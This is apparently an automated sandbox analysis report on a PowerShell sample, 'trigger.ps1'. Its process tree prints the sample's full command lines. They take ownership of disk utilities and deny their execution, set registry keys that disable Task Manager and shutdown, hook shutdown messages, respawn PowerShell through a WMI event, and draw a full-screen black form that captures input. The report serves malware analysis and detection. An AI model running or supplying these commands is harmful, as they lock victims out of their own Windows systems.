Analysis

  • max time kernel
    36s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    19/06/2026, 19:55

General

  • Target
    trigger.ps1
  • Size 10KB
  • Sample260619-ynbx2abs5n
  • SHA256 d329826e5c6001821ffacc1272d6d5d73adffb94cad483d9a27e074f34c8e181
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

  • Possible privilege escalation attempt 12 IoCs
  • Modifies file permissions 1 TTPs 12 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2864
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4200
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\diskpart.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4656
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1272
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:536
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\format.com"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4848
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4436
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\cleanmgr.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3776
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2620
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3368
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\defrag.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4044
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4908
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3820
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\diskmgmt.msc"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3540
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2020
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3008
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\Windows\System32\compmgmt.msc"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:5076
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4952
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:312
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
        3⤵
          PID:1172
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4144
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
          3⤵
            PID:2364
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1888
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
            3⤵
              PID:4336
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2840
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
              3⤵
                PID:4792
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class BlockShutdown : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ [Application]::Run(new-object BlockShutdown())
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3424
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Hide { [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] public static extern bool SetProcessInformation(IntPtr hProcess, int ProcessInformationClass, IntPtr ProcessInformation, uint ProcessInformationSize); } "@ $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) [System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0x1) [Hide]::SetProcessInformation([Hide]::GetCurrentProcess(), 0, $ptr, 4)
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:464
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath "powershell.exe" -ArgumentList "-File "" -keep" } }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4916
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1268
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $form = New-Object System.Windows.Forms.Form $form.FormBorderStyle = 'None' $form.WindowState = 'Maximized' $form.TopMost = $true $form.ControlBox = $false $form.BackColor = 'Black' $form.Opacity = 1.0 $form.ShowInTaskbar = $false $form.KeyPreview = $false $form.Capture = $true $form.Add_KeyDown({ $_.SuppressKeyPress = $true }) $form.Add_MouseClick({ return }) $form.Add_MouseMove({ return }) $form.Add_Resize({ return }) $form.Add_Paint({ $_.Graphics.FillRectangle([System.Drawing.Brushes]::Black, $form.ClientRectangle) }) $form.ShowDialog()
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4068
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -AssemblyName System.Windows.Forms $form = New-Object System.Windows.Forms.Form $form.FormBorderStyle = 'None' $form.WindowState = 'Maximized' $form.BackColor = 'Black' $form.TopMost = $true $label = New-Object System.Windows.Forms.Label $label.Text = "Shutting down..." $label.ForeColor = 'White' $label.Font = New-Object System.Drawing.Font("Arial", 24) $label.AutoSize = $true $label.Location = New-Object System.Drawing.Point((($form.Width - $label.Width)/2), (($form.Height - $label.Height)/2)) $form.Controls.Add($label) $form.ShowDialog()
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2720

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 f84df996802a7b65b0a58ecd1960f157bdc82f817bae81409eb4184e438ed9b8
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 948B
                • SHA256 f8d0596b05ab5069d158958ee022cdc9a898dc644f1a120305e9033cbfcb1818
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_xxac5vba.cq0.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xxac5vba.cq0.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                memory/464-49-0x000001E857790000-0x000001E8578DE000-memory.dmp

                memory/1268-53-0x0000017845550000-0x000001784569E000-memory.dmp

                memory/2720-72-0x0000022A341D0000-0x0000022A3431E000-memory.dmp

                memory/2864-51-0x000001AC6E970000-0x000001AC6E994000-memory.dmp

                memory/2864-18-0x000001AC6EB50000-0x000001AC6ED5A000-memory.dmp

                memory/2864-15-0x000001AC6E7C0000-0x000001AC6E936000-memory.dmp

                memory/2864-9-0x000001AC6BE80000-0x000001AC6BEA2000-memory.dmp

                memory/2864-50-0x000001AC6E970000-0x000001AC6E99A000-memory.dmp

                memory/2864-1-0x000001AC6BEC0000-0x000001AC6BED0000-memory.dmp

                memory/2864-0-0x000001AC6BEC0000-0x000001AC6BED0000-memory.dmp

                memory/2864-74-0x000001AC6BEC0000-0x000001AC6BED0000-memory.dmp

                memory/2864-73-0x000001AC6BEC0000-0x000001AC6BED0000-memory.dmp

                memory/2864-75-0x000001AC6E140000-0x000001AC6E28E000-memory.dmp

                memory/3424-35-0x0000019A7BEB0000-0x0000019A7BFFE000-memory.dmp

                memory/4068-77-0x000001ABE2F80000-0x000001ABE30CE000-memory.dmp

                memory/4916-46-0x000001CE37700000-0x000001CE3784E000-memory.dmp